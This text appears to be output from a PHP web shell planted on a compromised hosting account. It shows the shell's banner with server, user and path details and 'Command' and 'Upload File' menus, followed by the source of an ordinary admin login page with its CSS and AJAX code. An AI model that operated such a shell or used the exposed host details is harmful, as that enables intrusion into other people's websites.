|
1Server IP : 2a02:4780:11:1776:0:2637:29db:10 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/mistytourandtravel.in/../excellencecreator.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include('include/config.php');
if(isset($_SESSION['user_id'])){
header('Location:index.php');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Admin">
<title>Admin</title>
<link rel="icon" type="image/png" href="<?= $logoPath ?>" sizes="16x16" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="assets/js/sweetalert2@11.js"></script>
<style>
@import url(https://fonts.googleapis.com/css?family=Varela);
html {
height: 100%;
}
body {
background: #f2f2f2;
font-family: 'Varela', sans-serif;
font-size: 14px;
line-height: 1.5;
color: #333;
min-height: 100%;
position: relative;
}
label {
margin-top: 6px;
line-height: 17px;
}
a {
color: #fff;
}
a:focus,
a:hover {
color: #008080;
}
.checkbox-inline+.checkbox-inline,
.radio-inline+.radio-inline {
margin-top: 6px;
}
/******* Login Page *******/
body.login {
background: rgba(241, 242, 181, 1);
background: -moz-radial-gradient(center, ellipse cover, rgba(255, 255, 255, 1) 0%, #5751E1 100%);
background: -webkit-gradient(radial, center center, 0px, center center, 100%, color-stop(0%, rgba(255, 255, 255, 1)), color-stop(100%, #5751E1));
background: -webkit-radial-gradient(center, ellipse cover, rgba(255, 255, 255, 1) 0%, #5751E1 100%);
background: -o-radial-gradient(center, ellipse cover, rgba(255, 255, 255, 1) 0%, #5751E1 100%);
background: -ms-radial-gradient(center, ellipse cover, rgba(255, 255, 255, 1) 0%, #5751E1 100%);
background: radial-gradient(ellipse at center, rgba(255, 255, 255, 1) 0%, #5751E1 100%);
filter: progid: DXImageTransform.Microsoft.gradient(startColorstr='#f1f2b5', endColorstr='#135058', GradientType=1);
}
.relative {
position: relative;
}
.login-container-wrapper .logo,
.login-container-wrapper .welcome {
margin: 0 0 20px 0;
font-size: 16px;
color: #fff;
text-align: center;
letter-spacing: 1px;
}
.login-container-wrapper .logo {
text-align: center;
position: absolute;
top: -60px;
margin: 0 auto;
left: 50%;
transform: translateX(-50%);
border-radius: 50%;
background-color: #ffc224;
padding: 20px;
box-shadow: 0px 0px 9px 2px #344454;
}
.logo img {
width: 80px;
height: 80px;
border-radius: 50%;
padding: 10px;
background: #fff;
}
.login-container-wrapper {
max-width: 400px;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
padding: 40px;
box-sizing: border-box;
background: #5751E1;
box-shadow: 1px 1px 10px 1px #00000000, 8px 8px 0px 0px #ffc224, 12px 12px 10px 0px #00000000;
padding-top: 80px;
}
.logo .fa {
font-size: 50px;
}
.login input:focus+.fa {
color: #fff;
}
.login-form .form-group {
margin-right: 0;
margin-left: 0;
}
.login-form i {
position: absolute;
top: 18px;
right: 20px;
color: #93a5ab;
}
.login-form .input-lg {
font-size: 16px;
height: 52px;
padding: 10px 25px;
border-radius: 0;
}
.login input[type="email"],
.login input[type="password"],
.login input:focus {
background-color: #2f2b92;
color: #eee;
border-left: 4px solid #93a5ab;
}
.login input:focus {
border-left: 4px solid #ccd8da;
}
input:-webkit-autofill,
textarea:-webkit-autofill,
select:-webkit-autofill {
background-color: rgba(40, 52, 67, 0.75) !important;
background-image: none;
color: rgb(0, 0, 0);
border-color: #FAFFBD;
}
.login .checkbox label,
.login .checkbox a {
color: #ddd;
}
.btn-success {
background-color: transparent;
background-image: none;
padding: 8px 50px;
border-radius: 0;
border: 2px solid #93a5ab;
box-shadow: inset 0 0 0 0 #7692A7;
-webkit-transition: all ease 0.8s;
-moz-transition: all ease 0.8s;
transition: all ease 0.8s;
}
.btn-success:focus,
.btn-success:hover,
.btn-success.active,
.btn-success:active {
background-color: transparent;
border-color: #fff;
box-shadow: inset 0 0 100px 0 #7692A7;
color: #FFF;
}
#particles-js {
/* background: cornflowerblue; */
width: 100%;
height: 100%;
position: absolute;
z-index: -1;
}
.swal2-popup.swal2-toast .swal2-title {
font-size: 1.5em !important;
}
@media only screen and (max-width: 600px) {
.login-container-wrapper {
width: 80%;
}
}
</style>
</head>
<body>
<div id="particles-js"></div>
<body class="login">
<div class="container">
<div class="login-container-wrapper clearfix">
<div class="logo">
<img src="<?= $logoPath ?>">
</div>
<div class="welcome"><strong>Welcome,</strong> please login</div>
<form class="form-horizontal login-form" method="post" id="loginForm">
<div class="form-group relative">
<input id="login_username" class="form-control input-lg" name="email" type="email"
placeholder="Username" required>
<i class="fa fa-user"></i>
</div>
<div class="form-group relative password">
<input id="login_password" class="form-control input-lg" type="password" name="password"
placeholder="Password" required>
<i class="fa fa-lock"></i>
</div>
<div class="form-group">
<button type="submit" class="btn btn-success btn-lg btn-block">Login</button>
</div>
</form>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<script>
$(document).ready(function () {
$('#loginForm').on('submit', function (e) {
e.preventDefault();
let form = $(this);
let btn = form.find('button[type="submit"]');
btn.prop('disabled', true).text('Logging in...');
$.ajax({
type: 'POST',
url: 'login_ajax.php', // your PHP backend file
data: form.serialize(),
dataType: 'json',
success: function (response) {
if (response.status === 'success') {
Swal.fire({
toast: true,
position: 'top-end',
icon: 'success',
title: response.message,
showConfirmButton: false,
timer: 2000
});
setTimeout(() => {
window.location.href = 'index.php';
}, 2000);
} else {
Swal.fire({
toast: true,
position: 'top-end',
icon: 'error',
title: response.message,
showConfirmButton: false,
timer: 3000
});
}
},
error: function () {
Swal.fire({
toast: true,
position: 'top-end',
icon: 'error',
title: 'Something went wrong!',
showConfirmButton: false,
timer: 3000
});
},
complete: function () {
btn.prop('disabled', false).text('Login');
}
});
});
});
/* ---- particles.js config ---- */
particlesJS("particles-js", {
"particles": {
"number": {
"value": 60,
"density": {
"enable": true,
"value_area": 1000
}
},
"color": {
"value": ["#ffc224", "#ffffff"]
},
"shape": {
"type": "edge",
"stroke": {
"width": 0,
"color": "#000000"
},
"polygon": {
"nb_sides": 5
},
"image": {
"src": "img/github.svg",
"width": 100,
"height": 100
}
},
"opacity": {
"value": 0.5,
"random": false,
"anim": {
"enable": false,
"speed": 1,
"opacity_min": 0.1,
"sync": false
}
},
"size": {
"value": 4,
"random": true,
"anim": {
"enable": false,
"speed": 40,
"size_min": 0.1,
"sync": false
}
},
"line_linked": {
"enable": true,
"distance": 50,
"color": "#fff",
"opacity": 0.5,
"width": 1
},
"move": {
"enable": true,
"speed": 3,
"direction": "none",
"random": false,
"straight": false,
"out_mode": "out",
"bounce": false,
"attract": {
"enable": false,
"rotateX": 600,
"rotateY": 1200
}
}
},
"retina_detect": true
});
/* ---- stats.js config ---- */
var count_particles, stats, update;
stats = new Stats;
stats.setMode(0);
stats.domElement.style.position = 'absolute';
stats.domElement.style.left = '0px';
stats.domElement.style.top = '0px';
document.body.appendChild(stats.domElement);
count_particles = document.querySelector('.js-count-particles');
update = function () {
stats.begin();
stats.end();
if (window.pJSDom[0].pJS.particles && window.pJSDom[0].pJS.particles.array) {
count_particles.innerText = window.pJSDom[0].pJS.particles.array.length;
}
requestAnimationFrame(update);
};
requestAnimationFrame(update);
</script>
</body>
</html>